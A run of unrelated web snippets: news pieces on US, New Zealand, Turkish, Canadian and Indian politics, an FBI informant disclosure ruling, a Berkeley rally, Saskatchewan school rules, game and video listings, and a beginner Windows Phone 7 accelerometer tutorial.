On Xbox One, Syndicate will take up 40.27 GB of space. The game's PlayStation Store product page does not list a file size for the PlayStation 4 edition. File size details for the PC edition, which is coming in November, are not yet available.
Also featured on the Xbox Marketplace and PlayStation Store are listings for a $90 Assassin's Creed Syndicate Gold Edition, which comes with the base game and its DLC season pass, which, by itself, costs $30. Check out this post to see all of the content that comes with it.
The Assassin's Creed Syndicate release date is set for October 23 across PS4 and Xbox One. The PC version, meanwhile, will launch on November 19.
The joke occurred during a private conversation involving the House Republican leadership. The conversation was recorded. The exchange — from the transcript alone, since the Post has not made the audio available — is as follows:
McCarthy: The Russians hacked the DNC and got the opp [sic] research that they had on Trump. McCarthy: laughs [Crosstalk] Ryan: The Russian’s [sic] hacked the DNC… McHenry: …to get oppo… Ryan: …on Trump and like delivered it to…to who? [Unintelligible] McCarthy: There’s…there’s two people, I think, Putin pays: Rohrabacher and Trump…[laughter]…swear to God. Ryan: This is an off the record…[laughter]…NO LEAKS…[laughter]…alright?! [Laughter] Ryan: This is how we know we’re a real family here.
The full context of the conversation is unclear, but the House leadership appeared to be discussing the crisis in the Ukraine, and Russian efforts to spread disinformation there. The apparent target of the joke is Rep. Dana Rohrabacher (R-CA), whom the Post describes uncharitably as “a fervent defender of Putin and Russia.”
The Post‘s Adam Entous does not explain why he did not post the audio of the conversation, but two reasons seem possible: one, the laughter on the audio would underline the fact that McCarthy’s comments were intended to be humorous; two, the volume of different voices might reveal who had made, and leaked, the recording.
Though it is obvious from the transcript alone that the remark is a joke, the Post treats it as a serious scoop, claiming in the first paragraph that McCarthy “made a politically explosive assertion in a private conversation on Capitol Hill with his fellow GOP leaders.”
Later, the Post adds: “It is difficult to tell from the recording the extent to which the remarks were meant to be taken literally.”
No, it is not.
In a fiery exchange, Dann accused the National Party leader of "scaring voters" with campaign ads attacking Labour over tax, labelling National's campaigning as "negative" and asking Mr English if he and National were instead scared to "run on your record".
"It's just a part of a concerted scare campaign isn't it? You haven't been able to run on your record, you have run on a negative campaign," Dann asked Mr English.
"You're just out there to scare voters. Are you not proud of your record?"
Mr English fired back: "I absolutely disagree.
"We are very proud of our record; we are running on our record. We're running on a plan for the next three years, the next five years to take advantage of the strong economy.
"The Labour Party and the other parties have an obligation to answer the questions that New Zealanders are asking, not just us."
Dann responded: "Correct me if I'm wrong, but the TV ads you guys have been putting out over the last few days and changing have been, what, running on your record? Doesn't look like that to me. It's negative tax ads."
But Mr English said the ads were not about the National Party trying to bring down their opposition but having Labour answer the questions the public have on their policies.
"The public wants to know the answers to those questions about how many taxes and when. Labour keeps changing their mind and it's absolutely legitimate.
"This is real," Mr English continued.
"This is about cash in people's pockets, investment decisions, the decisions to employ another person, what people can take home at the end of the week.
"These are real things not just hypothetical argument."
Dann responded: "Are you comfortable personally as a leader of integrity to be running lines like $11.7 billion holes which no one economist in this country will back?
"Do you feel personally comfortable with that sort of attack politics?"
English: "Yes, I do because that is the estimate of this weird budget that Labour has put up."
Dann then asked Mr English why his party hadn’t mentioned throughout their campaign their vision for the future.
"The campaign has got pretty focused on the messy policy from Labour on tax," said Mr English.
"Oh, come on who's exploited that?" Dann interjected.
"Well the public want to know. It's not a matter of politics this is about people's real livelihoods," said Mr English.
Dann: "But surely you must've thought about a positive campaign and about trying to highlight the things you want to do?"
English: "We have. We've had an announcement every day for six weeks. Well organised laying out the plan for infrastructure, investment for support for families, for cheaper GP visits for both parents to receive paid parental leave."
Dann: "Why are all these suddenly coming in the campaign and haven't been done a lot earlier?"
In a live television speech, Prime Minister Davutoglu said Turkey has identified the perpetrator of the Ankara bombing attack as Salih Necer, born in northern Syria's Amuda province in 1992. He added the suspect has links to the Syrian Kurdish YPG militia. Davutoglu added the alleged attacker received assistance from the Kurdistan Workers Party (PKK), which is outlawed by Ankara.
READ MORE: Moment of deadly Ankara blast caught on CCTV (VIDEO)
Davutoglu said the attack showed the Syrian Kurdish YPG is a terrorist organization and that Turkey expects cooperation from its allies against the group.
"In light of information we have obtained, it has been clearly identified that this attack was carried out by the members of a terrorist organization inside Turkey, together with a YPG member individual who had crossed from Syria," Davutoglu said, according to Reuters.
“Of the 28 people who lost their lives, 27 are members of the Turkish Armed Forces and one is a civilian,” the PM said, referring to Wednesday attack.
He added that nine people have been detained following the attack in Ankara.
At least 28 dead, 61 injured as blast hits military bus in Turkish capital Ankara https://t.co/x7wBAPWTf6pic.twitter.com/uFcTLBg96K — RT (@RT_com) February 18, 2016
Kurdish self-defense forces did not organize the attack in Ankara, Kurdish Democratic Union (PYD) chief Salih Muslim Muhammad told RIA Novosti.
“This is absolutely not true. Kurds have nothing to do with what happened in Ankara. What happened there is related to Turkey's fight with Islamic State [IS formerly ISIS/ISIL], whose members live in Turkey.”
He also denied claims that the armed YPG wing was firing into Turkey.
"I can assure you that not even one bullet is fired by the YPG into Turkey," Salih Muslim told Reuters. "They don't consider Turkey as an enemy."
Turkey has pledged to continue to shell positions of the Syrian Kurdish YPG militia, Prime Minister Ahmet Davutoglu stated on Thursday.
Davutoglu claimed Ankara had evidence revealing where the militants came from and how they organized themselves, and that this information would be soon shared with other countries.
Ankara blast: Convenient excuse for Erdogan to hunt Kurds ‘everywhere’? https://t.co/Z6KyTLguB1pic.twitter.com/hVODMxd2wP — RT (@RT_com) February 18, 2016
He also warned other nations against throwing their weight behind “an enemy of Turkey,” saying that this would risk those countries’ status as allies.
"Just like Al-Qaeda or Daesh [Arabic pejorative for IS] do not have seats at the table, the YPG, which is a terrorist organization, cannot have one,” he reportedly noted.
He also mentioned that senior members of the Kurdistan Workers Party (PKK) had been killed overnight in Turkish airstrikes on their camps in northern Iraq.
“Let’s not forget that whenever something like that happens inside Turkey, the first place that they are going to point the finger is going to be the PKK [Kurdish Workers’ Party],” Daniel Wagner, CEO of Country Risk Solutions told RT, adding that IS is “the likelier root of the cause.”
“If you look at some of the previous attacks, how successful they’ve been, the number of casualties that they’ve had in the recent months, it certainly seems to have a hallmark of Islamic State,” Wagner noted.
'We have proof' Turkey backs ISIS & other terrorists – Kurdish commander https://t.co/j5A4tpwqT7pic.twitter.com/ic5DLLEPoH — RT (@RT_com) February 18, 2016
On Tuesday, at a closed-door meeting, called to discuss recent Turkish shelling of Kurdish YPG militia targets in Syria's north, the UN Security Council urged Ankara to comply with international law in Syria. The UN Security Council received a letter from the Syrian government in which Damascus condemned Turkey’s attacks in the north of the country.
Turkish artillery units have been shelling targets in Syria for four days in a row starting February 13, with Ankara highlighting its commitment to stopping the Kurdish Democratic Union Party (PYD) from claiming more territory in the north of the country. They have been pounding Syrian Kurdish forces in an apparent attempt to stop them from taking over the city of Azaz, 30km north-northwest of Aleppo.
According to the Russian Ministry of Defense, both government and opposition-held towns over the border from Turkey have fallen under Ankara’s shelling.
BREAKING: Turkey wants ‘secure line’ created 10km within Syria, including Azaz - deputy PM https://t.co/218Nqg08Ckpic.twitter.com/abwhX6aaLv — RT (@RT_com) February 17, 2016
The attacks have been condemned by the international community, with the UN calling on war parties to end hostilities. The US State Department has called on all sides to avoid escalation of tensions on the Syria-Turkey border.
“We have urged the YPG to avoid moves that will heighten tensions with Turkey. But at the same time we have also urged Turkey to cease any artillery… its artillery fire across the border,” State Department spokesperson Mark Toner said on Tuesday.
The votes are still being counted, but Trump's two remaining rivals, Ted Cruz and John Kasich, don't even appear to have come close. This is no surprise — the polls showed Trump ahead by 30 points.
Yet the question of just how much of a winner Trump is remains to be determined, and will depend on his final vote total both statewide and in each of New York's 27 congressional districts.
That's the real drama tonight, because it's still very unclear whether Trump can manage to put together a delegate majority before the convention.
To get that majority, he likely needs to win the vast majority of delegates in New York. And to pull that off, Trump needs to top 50 percent of the vote both statewide and in as many congressional districts as possible.
The big question: How often will Trump top 50 percent?
New York has 95 delegates overall, making it the second-biggest delegate prize remaining (after California). But the winner of the state doesn't automatically get all the delegates.
In fact, just 14 of New York's 95 Republican delegates are allotted based on the statewide vote. So if Trump tops 50 percent statewide, he wins all 14 of those delegates. But if he finishes below that, he'll split that haul with the other candidates who topped 20 percent.
That means that the real action is in at the district level, which will provide the other 81 of the state's delegates (three per district).
If Trump tops 50 percent in a district, he'll win all three of that district's delegates. If he wins the district but doesn't reach 50 percent, he'll get two of three. If he comes in second he'll get just one.
It will likely take some time before we know results on the congressional district level. So it could be a while before we know just how well Trump did.
The calendar has been cruel to Trump lately, but it's about to get kinder
After a monthlong period where Trump had little to be happy about, the calendar is now finally turning in his favor.
Next week, five Northeastern or mid-Atlantic states — Pennsylvania, Rhode Island, Maryland, Connecticut, and Delaware — are set to vote. Trump is expected to win all five of these — the Northeast has been a particularly strong region for him (and a bad one for Cruz), and the polling we have points to Trump victories.
Again, since delegate rules vary, much could depend on the exact margin and geographic breakdown of Trump's victories — and, in Pennsylvania, on a bizarre system in which unbound delegates are elected on the ballot without any disclosure of who they support.
But any victories at all will help fuel Trump's argument that he's the choice of the voters, and that any action intended to swing a convention against him is illegitimate and corrupt.
After that, there will be five contests in May (Indiana, Nebraska, West Virginia, Oregon, and Washington) and then five more on June 7, the final day of GOP voting (California, New Jersey, South Dakota, Montana, and New Mexico).
The universe, said Young, is infinite, eternal and everywhere abounding in life. There is no other world, no heaven but the starry sky above, no hell but the fictions that other people create. There is a deity, worthy of great praise, but it acts only according to reason and through the laws of nature. It has no need for holy books, prophets or priests. It is ultimately indistinguishable from its creation: nature itself. The study of nature, or science, is the only acceptable form of worship. Morality is grounded entirely in nature. And the moral life is itself the only religion worth the name. For him, the project to free the American people from the yoke of King George III was part of a grander project to liberate the world from the ghostly tyranny of supernatural religion. … In the final analysis, the biggest difference between Young and his more famous fellow founders is just that he was willing to shout at the top of his lungs what they confined to student notebooks, communicated in code or announced to the world after their freedom to do so had been secured.
He sounds like a Deist, all right: He didn’t believe in the supernatural God, but thought that we experienced God via nature. It was about as atheistic as one could get at a time before we knew anything about evolution and DNA. Even though the Politico headline uses the “A” word, I wouldn’t go quite that far.
Still, if only the modern Tea Party would take a cue from him, maybe we could take them a little more seriously…
Any guesses as to how pseudohistorian David Barton will try to spin this bit of history?
(Thanks to Brian for the link)
A man tries to separate protesters for and against President Donald Trump in Berkeley March 4. Local businesses and residents are bracing for more of the same at a similar rally planned for this Saturday. A man tries to separate protesters for and against President Donald Trump in Berkeley March 4. Local businesses and residents are bracing for more of the same at a similar rally planned for this Saturday. Photo: Noah Berger, Special To The Chronicle Photo: Noah Berger, Special To The Chronicle Image 1 of / 30 Caption Close Berkeley fears repeat of violence at planned pro-Trump rally 1 / 30 Back to Gallery
The Berkeley farmers’ market has been open for business every Saturday for 30 years, save the time gale-force winds shut it down. But it will be closed Saturday, as organizers fear the fallout from a second pro-President Trump rally in as many months near the market’s home.
The people who run the Ecology Center Farmers’ Market next to Civic Center Park decided this week not to set up their stalls Saturday because of concerns of more violence from the rally, which is set to start at noon in the park near Berkeley City Hall, said Martin Bourque, the market’s executive director.
The closure was the clearest sign of concern among businesses and residents about a rally being organized by a loose collective of far-right groups. One of them, Oath Keepers, which says it will provide security, has been categorized as a hate group by the Southern Poverty Law Center.
“While this is a real financial blow to many farmers, we cannot put a price on safety,” Bourque said.
At a pro-Trump rally at the park March 4, 60 to 75 supporters of the president were outnumbered by counterdemonstrators and anarchists. The two groups quickly clashed, throwing punches, swinging signs with wooden stakes and hurling bricks at one another.
Ten participants were arrested — several on suspicion of assault with a deadly weapon — said Sgt. Andrew Frankel, a spokesman for the Berkeley Police Department. Additionally, nine warrants were issued for arrests, he said.
On Wednesday, police released photographs of three people allegedly involved whom they were seeking for arrest.
Frankel said officers in early March “took a strategic approach about how and where we made arrests,” adding: “We didn’t see that wading into the crowd was a viable tactic.” On Saturday, Frankel said, the force will again have extra officers on standby.
Many demonstrators after the rally criticized police officers’ apparent reluctance to make arrests. A spokesman for the city, Matthai Chakko, said that “what you saw is a lot of people came armed and armored and ready to fight.” He said police did an “excellent job” and emphasized that the violence hadn’t spilled into the streets surrounding the park.
“We’re always looking to improve, and we’re always looking to see how we can better respond,” he said.
Chakko said the city had been in talks with the farmers’ market and other local businesses to ensure their safety.
Rich Black, an organizer of the rally with the Liberty Revival Alliance, did not respond to a request for comment. On the event’s Facebook page, a number of people blamed “leftist thugs” for inciting the violence in March. Several posters said they planned to come to Saturday’s rally from as far away as Los Angeles.
In a YouTube video, another member of the Liberty Revival Alliance said, “We understand that (counterdemonstrators) will use violence against us,” adding that demonstrators will “defend ourselves in a lawful manner.”
Bourque of the farmers’ market condemned the planned rally, saying he was “not sure what they hope to accomplish.”
“I seriously doubt there will be any changing of hearts and minds,” Bourque said. “We don’t need any more pepper spray, shouting matches and bloodshed.”
Invited speakers, according to the video, include Lauren Southern, a far-right Canadian activist who has said rape affects men more than women, and AltRight.com writer Brittany Pettibone, who has said she believes in Pizzagate, a discredited conspiracy theory involving Hillary Clinton.
Also invited was right-wing Twitter personality Baked Alaska, who regularly amplifies radical conspiracy theorists such as Paul Joseph Watson of Infowars.
In a YouTube video, Southern said she relished the “bashing of antifa heads.”
A number of liberal and antifa — short for antifascist — groups have said they’ll “shut it down” Saturday.
In March, anarchists dressed in black and wearing bandannas over their faces burned American flags and red Trump “Make America Great Again” hats, threw eggs and stopped traffic leading to the park.
In a Facebook post, the Berkeley Antifa group said its followers “draw inspiration” from those “who stand against fascism, however they can. Let the bootlickers cower beyond the cops as they face a barrage of noise, glitter, and paint. The streets belong to us!”
The rules are outlined in a guide for staff at the new P3 schools in Regina, which was obtained by the NDP caucus through an FOI application.
The schools are part of a public-private partnership that is building six elementary school sites, housing two schools each, in Saskatoon and the surrounding area. Three more of the double schools are being built in Regina.
The school rules
Rules for teachers at the new Regina schools include a ban on opening windows for the first year after the schools are open to "create an air exchange baseline."
That policy will be reassessed after the first year by the Joint Use Mutual Partnership (JUMP), the public contractor chosen by the province to build and maintain the P3 schools.
The staff guide also outlines rules on classroom decoration.
"No item can be mounted to the walls, doors, windows, ceilings, ceiling spaces, wall fixtures, (lights, panels, millwork, etc.) without written authorization from JUMP," reads the guide.
According to the guide, teachers are prohibited from using tape, thumb tacks, push pins, staples, adhesive-backed stickers, decals, adhesive sprays, spray paint and markers to decorate their classrooms.
If they do decide to decorate, the guide says, 3M sticky hooks and "fun tack" are allowed.
Two new P3 schools — Ernest Lindner public school and St. Lorenzo Ruiz Catholic School — will be housed in the Hampton Village building in Saskatoon, with a community-use gymnasium in the middle. (Bridget Yard/CBC)
Posters allowed with approved adhesives
Saskatoon Public Schools said staff in its new P3 schools have been told they can put up posters or other items without written permission if they use approved adhesives.
Teachers at all P3 schools must still apply for a penetration permit if they plan to do anything that could break through the drywall thickness.
NDP education critic Carla Beck said the policies should be revisited.
"It seems that many of the procedures are aimed at what's best for maintaining the school in pristine condition rather than what's in the best interest of students in the classrooms, and teachers," said Beck.
She was particularly concerned by the staff guide instruction that schools should be treated like a "leased space."
Beck also worried that concern over wear and tear to the buildings would limit public access to school spaces after hours.
"Are we going to see restriction of use of these schools by third-party users, by the community because it might create additional wear and tear on these schools?" said Beck.
"They're there to serve the community, they're there to ensure that kids have a space to learn in, they're there to ensure that communities have a place to gather."
An outdoor learning area at the Hampton Village joint-use school building in Saskatoon overlooks the neighbourhood. The facility was built through a public-private partnership, which is new approach for the Saskatchewan school system. (Bridget Yard/CBC)
3rd-party rentals start October
Saskatoon Public Schools spokesperson Veronica Baker said the new Saskatoon schools would not be available for rental until Oct. 2., after which the guidelines would be the same as at other schools.
Asked whether teachers had objected to the rules outlined in the staff guide, Baker said teachers had been understanding.
"The staff in our new schools understand these facilities are unlike any others in our division. They are working hard to set up their schools and are excited to welcome students on Tuesday," said Baker in a written response to questions.
"The priorities for staff members are building relationships with students and establishing the school community."
Permits not always needed: province
A spokesperson from the provincial government said there was a clause within the project agreement between JUMP and the province that allowed school divisions to hang certain items.
Clocks, whiteboards, tackboards and pictures were some of the examples.
"A permit is only required when a school division needs to install larger items such as shelving units attached to the wall that may come in contact with mechanical or electrical components within the building," said the spokesperson.
Happy New Year! We (Corinna and Roland) hope that you had great holidays and spent the time with your loved ones.
The last weeks were a blast for us: we kicked off the Wall-Skills Advent calendar, not knowing if we would have enough content, time and breath – and if anyone would even read. So we published, waited – and were blown away by thousands of readers we had! Although the number of readers strongly depended on the topic (and how close we were to Christmas) we reached at least hundred visitors every day – and sometimes several thousands in only a few hours:
In case you are interested, the first “hill” is SOLID, the first spike is devOps, and the mountain consists of AdminZen, Four Sides of a Message (best post so far with 4400 views in one day) and … as a Service. As you can see, the attention ceased towards Christmas eve.
We learned that our content is helpful, it is actually read and used – and that producing, publishing and waiting for your reactions is a lot of fun =) So we do want to continue with Wall Skills – and for that, we need your help!
What topics would you like to see here at Wall Skills? What’s interesting? What do you need your team to learn or what do you want to remind yourself of repeatedly until it sticks? Are there any other things you would change here? We already plan to put more of the content of the 1-pagers into the description itself, to better grasp the content and to be indexable by search machines. Additionally we wonder if we should include non-English 1-pagers … Do you know of great content that would fit in here? We post finished 1-pagers as”external” content (like AdminZen). Or we can turn existing articles into pretty PDFs. In our experience most bloggers out there produce great content and are happy when we approach them to present their knowledge in the Wall-Skills format. So tell is if you know interesting content and we will approach the authors to collaborate. Would you like to contribute to Wall-Skills yourself? We have created a style guide and templates you can use to create 1-pagers in Wall-Skills style: maybe you have certain topics that you want to present like all the other Wall-Skills you already hung up everywhere in your office: take the template, and create your own! And of course we would be happy if you share them here! Send them via email to ws@wall-skills.com.
The case arose out of a court filing where a federal lawyer said Canada couldn't grant a lesbian couple a divorce because they were never married in the first place. One woman lives in England and one in Florida. Neither jurisdiction recognizes same-sex marriage.
The Department of Justice lawyer also argued Canada can't grant the women a divorce because they must be residents to get a divorce. The Divorce Act applies to anyone who wants a divorce in Canada. There's right now no way for non-residents, gay or straight, to get divorced in Canada.
"I want to make it very clear that, in our government’s view, these marriages should be valid. We will change the Civil Marriage Act so that any marriages performed in Canada that aren't recognized in the couple's home jurisdiction will be recognized in Canada," he said in a statement.
"This will apply to all marriages performed in Canada. We have been clear that we have no desire to reopen this issue – both myself and the prime minister consider this debate to be closed."
But the marriage law already applies to all marriages performed in Canada, according to Kathleen Lahey, a lawyer who represented before the Supreme Court of Canada one of the couples fighting to be married.
Lahey, who also appeared in front of a parliamentary committee when the government was drafting the law, says there's nothing in the Civil Marriage Act that needs to be changed to make it apply to non-residents.
"Plain and simple, it is totally valid here. It’s a quite tragic attempt, really, to attack overseas same-sex marriages sort of from the side."
Nicholson says the law was badly drafted by the previous government.
"This is a legislative gap left by the Liberal government of the day when the law was changed in 2005. The confusion and pain resulting from this gap is completely unfair to those who are affected," he said.
'There is no legislative gap'
Lahey says this area of domestic law is based on a 19th century decision known as Connolly that established Canada early on as one of the least discriminatory countries in terms of marriage law.
The specific contention under private international law used by the federal lawyer has never been used before in Canada to invalidate marriage, Lahey said, and would throw out more than 100 years of marriage law.
"My very clear position is that there is nothing wrong with the marriage act and there’s nothing that can be done to so-called fix the marriage act because there is no legislative gap in the marriage act."
Interim Liberal Leader Bob Rae rejected Nicholson's contention that it was the fault of the previous government. He also questioned whether a legal gap really exists, comparing it to the example of a South African couple in the 1960s.
Had a black South African man wanted to marry a white South African woman, it wouldn't have been recognized in South Africa in that era, Rae said.
"Are we seriously saying that we wouldn't recognize the legality of that marriage because that marriage would not have been seen as being legal in South Africa?" Rae said.
"That position is preposterous. The only gap is the gap between the heads of Conservative cabinet ministers, who have failed to live up to the best and finest traditions of Canada with respect to our traditions of tolerance."
The FBI has lost a legal battle to prevent the disclosure of documents that could reveal the identity of two of its covert informants.
In highly unusual case Laura Sennett, a freelance photojournalist, has won a ruling from a district court that compels the FBI to provide her with documents that shed light on informants use by agents used in their investigation into a protest which resulted in damage to a hotel lobby in Washington.
The FBI launched its joint terrorism task force investigation days after anarchists protested a World Bank and International Monetary Fund meeting in the capital in April 2008.
Protesters stormed into the lobby of the Four Seasons Hotel around 2.30am, chanting slogans and throwing paint-filled balloons. Most of the criminal damage, including a broken window, was minor, although the hotel said a statue worth more than $200,000 was damaged.
Sennett had been tipped off about the protest and attended to take photographs. She believed the protesters planned to wake up the IMF delegates by making a commotion, and maintains she had no prior knowledge of their criminal intent. She did not enter the hotel lobby – choosing to photograph events from outside.
Both of the “confidential sources” cited in the court case were asked by the FBI to review surveillance footage of the protest, in order to help identify who was there. They identified a handful of activists as well as Sennett, who specializes in reporting grass-roots activism.
The FBI placed the photojournalist under surveillance before raiding her home with two-dozen armed law enforcement officials, who seized memory cards, hard drives and computer and camera equipment.
In an effort to find out more about why she was targeted, Sennett, 51, has been running a legal campaign to obtain information the bureau holds about her, using Freedom of Information Act (FOIA) requests.
She had so far been given more than 1,000 pages of FBI documents, which the Guardian has seen, but the bureau withheld key portions, claiming they fell under an exemption intended to protect the identity of “confidential sources”. That decision has been challenged in court by Sennett’s lawyers.
On Wednesday, district judge James E Boasberg sided with Sennett, ordering the FBI to release the contested documents, which all parties accept “could reasonably be expected to disclose the identity of a confidential source”.
The judge said that despite three attempts, the FBI had failed to convince him the sources would have inferred confidentiality from their interactions with agents.
Dan Metcalfe, who directed the Justice Department’s Office of Information and Privacy for more than 25 years before retiring in 2007, and has represented the FBI in dozens of similar cases, said it was “extremely rare” for the bureau to be forced to reveal the identity of a source.
“I can think of just a handful of cases at most in which the FBI has had to disclose potentially identifying information about a confidential source over the past 40 years,” he said.
The case, he said, was a significant blow for the FBI, which is very strongly opposed to revealing the identity of its sources, not least because doing so could discourage future informants from co-operating.
Metcalfe, now a law professor at the American University, said the solicitor general was highly unlikely to launch an appeal.
“I’ve read thousands and thousands of FOIA opinions,” he said. “I would put this in the top percentile for being analytically sound and written exceptionally well. Based upon the facts that one gleans from reading the opinion, this is an entirely correct outcome. I see little or no prospect for reversal on appeal.”
Mike German, a former FBI agent now with the Brennan Center for Justice at New York University, said he believed the two informants in the case, one of whom is said to have attended anti-capitalist meetings, could be private investigators.
“That is something that, having seen the documents, the judge may be less keen on keeping secret,” he said.
German said the fact an act of vandalism against the Four Seasons was even investigated by the FBI’s counter-terrorism teams followed a pattern of investigations into protest movements that are “more about suppressing dissent than investigating serious or violent crime”.
Detective Vincent Antignano, the federal marshall deputised to run the FBI’s investigation into the protest, said in a deposition conducted by Sennett’s legal team he believed Sennett was “like-minded like anarchists”, because she was among the 16 people captured on the hotel’s surveillance video.
“Everyone on that video is a suspect, so that’s the way I look at it,” he said, adding that he assumed she had similar views to the protesters captured in the video “who despise their government”.
Asked to elaborate, Antignano said that while he did not know Sennett’s dietary preference, “she could also be a vegan like … [people] who are against animal protests [sic] or animal research or won’t eat meat and stuff like that.”
Antignano had a broad notion of what behaviour constituted “terrorism”, saying that even an assault could fall within the definition.
“If you get assaulted and you believe you’ve been terrorised, then maybe that is terrorism,” he told Sennett’s lawyer.
The deposition was part of a separate case, in which Sennett’s lawyers sued the FBI for damages they said Sennett suffered as part of the raid on her home, which was led by Antignano.
Sennett said the raid was traumatising. Around two-dozen agents “yanked my 19-year-old son out of bed at gunpoint”, she said, before quizzing her about political books on her shelf and asking what “kind of an American” she was.
Sennet said she replied: “I’m a photographer.”
A freelancer whose images have appeared on CNN, MSNBC and the History Channel and in the Toronto Free Press, Sennett is adamant the FBI must have known she was present at the protest in a journalistic capacity. The FBI denied its agents knew of her occupation.
Sennett was never arrested or charged. She believes undercover police or moles within the protest group may have been responsible for giving the FBI details, including a cellphone number, which allowed agents to track her down.
Her lawyer, DC-based Jeffrey Light, argued that her status as a photojournalist should have barred agents from seizing her material, under a clause of the Privacy Protection Act.
However in that case a district court ruled against Sennett – a decision upheld in 2012 by the court of appeal, which found that while Sennett’s occupation provided “an innocent explanation” for her presence at the protest, the FBI, when it launched its inquiry, still had “probable cause” to believe she was part of a conspiracy to commit vandalism.
Wednesday’s court ruling by judge Boasberg, a Barack Obama appointee, was far more sympathetic to Sennett’s case.
Boasberg said the FBI had failed to provide sufficient proof that its informants “inferred that their communications with the bureau would remain confidential”. While acknowledging the FBI’s argument regarding preserving the confidentiality of informants – “one of source protection and empowerment of law-enforcement agencies” – Boasberg added: “That solicitude, however, can only carry the court so far.”
Light said he hoped Wednesday’s victory, which the government has 90 days to appeal, would take the capital’s protest community a step closer to discovering the identity of potential moles in their midst.
“People want to know who is spying on them,” he said.
Sennett said she hoped that by identification of the FBI’s informants in her case would discourage the bureau from conducting similar quasi-terrorist investigation in the future.
“I pursued this case because I don’t think anyone – activists, freelancers, bloggers – should have to go through what I went through.”
The US attorney’s office said it was reviewing the case but declined to offer further comment.
The FBI also declined a request for comment.
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Botchamania 271 (the Wrestlemania one)
The only video series with a throat like a junkie’s carpet, it’s Botchamania 271: Tyson Kidd in Shinobi World!
Music…
Please, Help Me! by Konami Kukeiha Club (Sexy Parodius)
Return Of The Mack by Mark Morrison
Bonus by Irem (Ninja Baseball Bat Man)
Thanks…
Angolo Del Pepsiplunge for the Pink Panther ending
Botchamania 272 (not the Wrestlemania one)
The one cash machine that’s in walking distance that charges you for withdrawals in the village of wrestling, it’s Botchamania 272: Tyson Kidd In Miracle World!
Music…
I’m A Raptor by Robin Williams (Mrs. Doubtfire)
Shop Theme by Beetlejuice (NES)
EastEnders Theme Tune by Simon May & Leslie Osborne Highwind
Takes to the Skies by Nobuo Uematsu (Final Fantasy VII)
Violent Breathing (Round 7 BGM) by Yuzo Koshiro (Streets of Rage)
Iron Man by Black Sabbath
Thanks To…
Codster9 for the Futurama table and the Futurama ending
Tri.Moon for the Foley/HHH clip
Kevin Ford for the Beyond clip. Thanks Sugar Dunkerton!
Imprint India, a Rs 1,000 crore project, will serve as a platform to receive research proposals from various institutes in the county, and screen them for approval if deemed worthy. The platform will then allot funds for the research work.
Modi said, "science is universal, but technology has to be local".
Imprint India, an Inter Ministerial Group, will also help India develop affordable technology.
In a tweet, the Prime Minister said,
Society is becoming technology driven. It is essential to understand the importance of this & look towards affordable technology: PM — PMO India (@PMOIndia) November 5, 2015
The idea of launching 'Imprint India' originated during the conference of Chairmen, Board of Governors and Directors of Indian Institutes of Technology convened by the President at Rashtrapati Bhavan on August 22, 2014.
It is based on the Prime Minister's suggestion that research done by institutions of national importance must be linked with immediate requirements of the society at large.
Our initiative on solar energy has surprised many but if we are doing innovation in technology and energy, it can be a big service: PM — PMO India (@PMOIndia) November 5, 2015
The objectives of this initiative is to identify areas of immediate relevance to society requiring innovation, direct scientific research into identified areas, ensure higher funding support for research into these areas and measure outcomes of the research effort with reference to impact on the standard of living in the rural or urban areas.
IMPRINT India will focus on ten themes with each to be coordinated by one IIT/IISc, namely health care (IIT Kharagpur), computer science and ICT (IIT Kharagpur), advance materials, (IIT Kanpur), water resources and river systems (IIT Kanpur), sustainable urban design (IIT Roorkee), defence (IIT Madras), manufacturing(IIT Madras), nano-technology hardware (IIT Bombay), environmental science and climate change ( IISc, Bangalore) and energy security (IIT Bombay).
The ten coordinating institutions have done extensive consultations and arrived at specific themes in each area of research that has immediate social relevance.
While speaking at the event, Modi stressed on the importance of skills for the Make in India initiative.
The biggest strength of #makeinindia is human capital. Skill development is extremely vital: PM @narendramodi @makeinindia — PMO India (@PMOIndia) November 5, 2015
IMPRINT India was launched during the Visitor's Conference so that wide discussion could be held amongst the academic community, leading to further scientific collaboration between various institutions in these areas.
The top research community from across Central Universities, IITs, NITs, IISc, Bangalore, IISERs, IIITs, NIPERs, NIFT, IIEST, Shibpur, RGIPT, Rae Bareli, RGNIYD, Sreperumbudur, School of Planing and Architecture Bhopal and New Delhi and senior government officials attended the function.
This is to be my first article on common problems faced by developers new to WP7. I am by no means an expert but I found that most of the articles and posts relating to the topics I will cover weren’t coherent or were too advanced for a developer new to WP7.
I will tell you the problems that I encountered, show you my solutions and provide links to other useful articles on the subjects. If you are new to WP7 development I suggest checking out the Windows Phone 7 Training Kit. Although you may not follow it exactly, it does provide a good base to get you going.
The Accelerometer:
The accelerometer reads the current force of acceleration acting on the phone on all 3 axes. This data is stored as a 3D vector. While the phone is stationary the only force of acceleration is gravity. I had to do research into what the accelerometer readings would be and what these would mean. My findings were that when the phone is still, the readings due to gravity is a vector whose magnitude is near 1. This varies around 1 due to the slight variations in gravity between places and altitudes. The accelerometer also generates a lot of “noise data”. This is something to keep in mind as you may need to perform some smoothing on it (a quick search will yield lots of info.). I did not require any as the data was used in such a way that it did not matter.
Anyway a picture says a thousand words so here is a simple illustration of the readings, due to gravity, to expect. Please note the magnitude of 1 in the following readings will not be exact (as stated above). It is used for illustrative purposes only. There are far more detailed descriptions of the readings to expect but I wanted to keep this simple.
The blue rectangle represents the phone screen. The red arrow points to top of phone.
Another thing to note is that changes in accelerometer readings do not count as input to the device. This is to prevent accidental activation of the phone from user movement. This means that the screensaver may have to be disabled while your application is running. If you do this you must be re-enable it on leaving your game to pass the validation process. The code required for this is below.
Add this using statement to your game class:
using Microsoft.Xna.Framework.GamerServices;
Declare a bool in your class to hold the original screen saver setting:
bool m_screenSaverEnabled;
On activation of your game add:
m_screenSaverEnabled = Guide.IsScreenSaverEnabled; Guide.IsScreenSaverEnabled = false;
On deactivation of your game add:
Guide.IsScreenSaverEnabled = m_screenSaverEnabled;
Accelerometer with the emulator:
As I am a student I could not afford a WP7 device to test on. This meant I had to rely on the emulator which has no support for accelerometer input or simulation. This was a major problem as the main user input for my game was accelerometer input.
After scouring the internet I came across a few solutions:
1. Use the keyboard or mouse to simulate input.
2. Use a game controller (Wii-mote, PS Move, etc.).
3. Use augmented reality (courtesy of Codeplex). Nikos Kastellano’s blog, Codeplex Download
4. Use Maciej Grabek’s accelerometer plugin for the emulator. The Code Project, Original source
